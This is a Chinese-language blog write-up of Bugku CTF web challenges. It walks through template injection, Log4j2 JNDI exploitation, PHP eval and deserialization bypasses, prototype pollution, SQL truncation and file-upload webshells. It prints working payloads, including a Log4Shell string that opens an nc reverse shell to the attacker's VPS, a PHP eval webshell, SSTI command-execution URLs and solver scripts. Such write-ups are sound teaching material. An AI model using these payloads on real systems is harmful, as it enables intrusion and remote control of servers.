Bugku CTF WEB 部分WriteUp
Simple_SSTI_1
模板注入,查看页面源代码
很明显,flag在secret_key下
构建如下url:http://114.67.175.224:12784/?flag={{config.SECRET_KEY}}
or在地址栏后面输入:/?flag={{config.items()}}即可查看所有config变量,其中就包括SECRET_KEY,也就是flag
Simple_SSTI_2
打开题目,看到还是SSTI漏洞
首先还是让我们使用flag构造参数,所以就是?flag={{XXXX}},再看了一下config
看了一下,没见什么特殊的东西,题目说了时SSIT漏洞,那么利用漏洞先ls查看一下
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
##__init__ 初始化类,返回的类型是function
##__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象
Flask_FileUpload
打开页面只有一个上传点
右键查看源代码
提示会用Python执行
那么我们建立一个文本文档,在里面写下如下代码,再更改后缀名为jpg或png
import os
os.system('cat /flag')
上传
再次查看页面源代码
Apache Log4j2 RCE
打开题目
注意
描述中的命令后面跟的×说明不支持这个命令,√则代表可以使用
先把 工具上传到VPS上,然后运行java -jar JNDIExploit-1.2-SNAPSHOT.jar -i IP
然后另开 一个终端用来监听端口 nc -lnvp 9999
然后在用户名处填写${jndi:ldap://IP/Basic/Command/Base64/(nc IP 9999 -e /bin/sh)base64编码}
,密码随便填
只要send就可以把shell弹回VPS的9999端口,直接cat /flag
就好了
基本思路是本地发起形如${jndi:ldap:}的恶意请求,让bugku的服务器去调用VPS上的恶意代码,然后在bugku的服务器上运行
1389是JNDIExploit起的LDAP端口,恶意代码会把bugku服务器的shell弹到VPS监听的9999端口上
收到反弹的shell,直接cat /flag
秋名山车神
题目
2s内让我们计算出结果
刷新多次,在刷新过程中发现了要提交的参数value
不妨写个(白嫖)python脚本吧
import requests # 引入request库
import re # 引入re库
url = '''http://114.67.175.224:15851/'''
s = requests.session() # 用session会话保持表达式
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()
result = eval(equation) # eval()函数用来执行一个字符串表达式,并返回表达式的值。
key = {'value': result} # 创建一个字典类型用于传参
flag = s.post(url, data=key) # 用post方法传上去
print(flag.text)
这个脚本重点还是第7行的正则,解释下
re.search()表示从文本的第一个字符匹配到最后一个,其第一个参数为正则表达式,第二个参数是要匹配的文本
r''表示内容为原生字符串,防止被转义
(\d+[+-])+(\d+):\d+ 表示匹配一个或多个数字;[+-] 表示匹配一个加号或一个减号或一个乘号(注:减号在中括号内是特殊字符,要用反斜杠转义);所以 (\d+[+-*])+ 表示匹配多个数字和运算符组成的“表达式”;最后再加上一组数字 (\d+) 即可
group()返回字符串
执行脚本后一定概率获得flag,所以需要多运行几遍
闪电十六鞭
解题须知
在php中
<? ?>和<?= ?>是短标签
而<?php ?>是长标签
其中<?= 是代替 <? echo
<? ?>代替的是<?php ?>
php.ini文件 可以配置php 是否可以解析短标签
short_open_tag = On
解题
点开出现源码
代码审计
第一个判断:
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
当没有用GET方法传入flag时,会显示Click here的链接。
点击链接会用GET方法传入一串字符串$exam,后面是当前时间的一串sha1哈希值。
第二个判断:
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
判断传入的flag长度与$exam是否相同,不同则返回 '长度不允许'
根据点击click可以获得长度的提示flag=return'5ee9f8bc3ed6b97a94aa11cea58e2e0167bd096e';
可知道$exam的长度为49
第三个判断:
过滤了一堆字符`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
第四个判断:
判断传入flag的值等于flag值的哈希值,正确就输出flag。用的是严格的三个等号的比较,flag都不知道,哈希值更不可能知道(===强相等,类型和值都要相等),
但存在eval($_GET['flag'])可以任意代码执行,:
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
于是可以构造
$hack=mlag;$hack{0}=f;111111111111;?><?=$$hack;?>
解释:
1.因为flag被禁了,所以可以用hack{0}=f来替换hack变量的第1个字母,所以被替换成flag
2.然后$$hack 代表$($hack)相当于$flag(因为hack变量的值后面变为flag)
3.<?=$$hack;?>代表<?=$flag;?> 就相当于<?php echo $flag; ?>
这样就输出了flag的值,最终得到了flag
sodirty
点击注册,会提示用户创建成功
不妨写个(白嫖)python脚本吧
import requests
s = requests.session()
header = {'Content-Type': 'application/json'} # header类型必须设置为json
url = str(input("\033[35mPlease input CTF url example:http://114.67.175.224:10047/\nurl: \033[0m"))reg = s.get(url+'reg') # 必须先注册,不然下一步会被重定向到reg
print(reg.text)p1 = {'attrkey': 'proto.pwd','attrval': '1'} # 增加对象原型参数pwd为1
update = s.post(url=url + 'update', headers=header, json=p1)
print(update.text)p2 = {'attrkey': 'age','attrval': '79'} # 修改年龄小于80即可
update = s.post(url=url + 'update', headers=header, json=p2)
print(update.text)
p3 = {'key': 'pwd','password':'1'} # 传入key和password
getflag = s.post(url=url + 'getflag', headers=header, json=p3)
print(getflag.text)
login1
打开后是一个会员系统
根据题目中的提示,这道题所使用的是SQL约束攻击。
SQL约束攻击的原理就是利用的约束条件,比如最长只能有15个字符的话,如果你输入的是abcdefghijklmnop(16位),那么保存在数据库里的就是abcdefghijklmno,那么别人用abcdefghijklmno注册一个用户名,就可以登陆。
还有一个可以利用的地方就是SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符的,也就是说"abc"=="abc ",同样我们可以通过注册用户名为"abc "的账号来登陆"abc"的账号。
题目中说的是约束攻击那就试着用"admin "(注意有个空格)注册了一个账号,用这个的密码登陆"admin"账号,然后就看到了flag
安慰奖
启动环境,什么都没有
打开源代码发现了一个提示
使用base64解码后得到 backups
查看根目录下index.php.bak文件,得到代码
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('</br>flag能让你这么容易拿到吗?<br>'); } if ($this->username === 'admin') { // echo "<br>right!<br>"; $a = `$this->cmd`; var_dump($a); }else { echo "</br>给你个安慰奖吧,hhh!</br>"; die(); } }
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
考察的是CTF中的序列化和反序列化
需要绕过__wakeup()函数
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
还过滤了很多Linux命令,我们还能使用tac命令
tac的功能是将文件从最后一行开始倒过来将内容数据输出到屏幕上。我们可以发现,tac实际上是cat反过来写。
构建序列化对象
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
O 代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符
ctf 类名
3 代表三个属性,因为需要绕过__wakeup()函数,所以比实际属性个数2大
s代表字符串
11代表属性名长度
username 属性名
s:5:"admin" 字符串 属性值长度 属性值
private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改
访问URL
http://114.67.175.224:10915/?code=O:3:%22ctf%22:3:{s:11:%22%00*%00username%22;s:5:%22admin%22;s:6:%22%00*%00cmd%22;s:12:%22tac%20flag.php%22;}
文件包含2
打开题目没有发现什么有用信息
查看网站源代码发现一个php文件
访问,是一个文件上传系统
经过测试普通一句话会被过滤,这里构造
GIF89a? <script language="php">eval($_REQUEST[8])</script>
保存文件修改后缀为1.php;.jpg,成功上传
直接使用图片路径连接蚁剑失败
使用文件包含的方式访问
flag在根目录下
getshell
访问目标地址,看到是php的代码,格式应该是经过混淆加密的
推荐一个节省时间的网站:https://www.zhaoyuanma.com/phpjm.html
解出来发现是一个木马
试着用蚁剑连接一下
连接成功之后,但是看不了根目录的内容,很明显是被disable_function,也就是禁用函数了
查看phpinfo确认一下
果然禁止的差不多了,试着用蚁剑插件市场下载的绕过工具进行绕过
看到插件中显示的绕过需要的条件都满足了,点击开始,他会在当前目录下传文件
使用蚁剑连接.antproxy.php,密码和一开始的木马一致即可
成功执行命令,获得flag
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16275578.html